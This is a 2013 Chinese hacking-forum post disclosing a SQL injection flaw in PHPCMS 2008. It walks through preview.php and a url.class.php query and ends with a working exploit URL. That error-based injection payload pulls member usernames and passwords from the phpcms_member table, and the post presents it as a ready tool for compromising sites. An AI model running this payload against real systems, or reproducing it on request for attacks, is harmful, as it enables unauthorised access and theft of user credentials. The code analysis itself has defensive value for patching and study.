中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin 时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......

要转摘的兄弟们，你们还是带个版权吧！

  组织 : http://www.safekeyer.com/ (欢迎访问）

author: 西毒 blog: http://hi.baidu.com/sethc5



其实还是有蛮多漏洞的，只是我一步步来吧！你们别催，该放的时候自然就会放了.

过程不明显的我就省略了。

在preview.php 中第7行

$r = new_stripslashes($info);

我们跟踪new_stripslashes这个函数

在global.func.php中可以找到

1
2
3
4
5
6 function new_stripslashes($string)
{
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}

这个函数的功能不用解释了吧

所以我们看具体应用点再哪？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35 require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info); //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}

$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);

$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
{
require_once 'url.class.php';
$curl = new url();
$contents = array_filter(explode('', $content));
$pagenumber = count($contents);
for($i=1; $i<=$pagenumber; $i++)
{
      $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
}
其中细节我就不说了...

我们看看这个$curl资源句柄中的show方法

1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);

1
2
3
4
5
6
7
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
{
      global $PHPCMS;
      if($catid == 0 || $time == 0 || $prefix == '')
      {
         $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
         if($r['isupgrade'] && !empty($r['url']))
         {

所以结合前面的......我们x站了吧

给出exp

www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a

截图看一下

最后真心说句，360收购漏洞计划，价格真心低.....
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)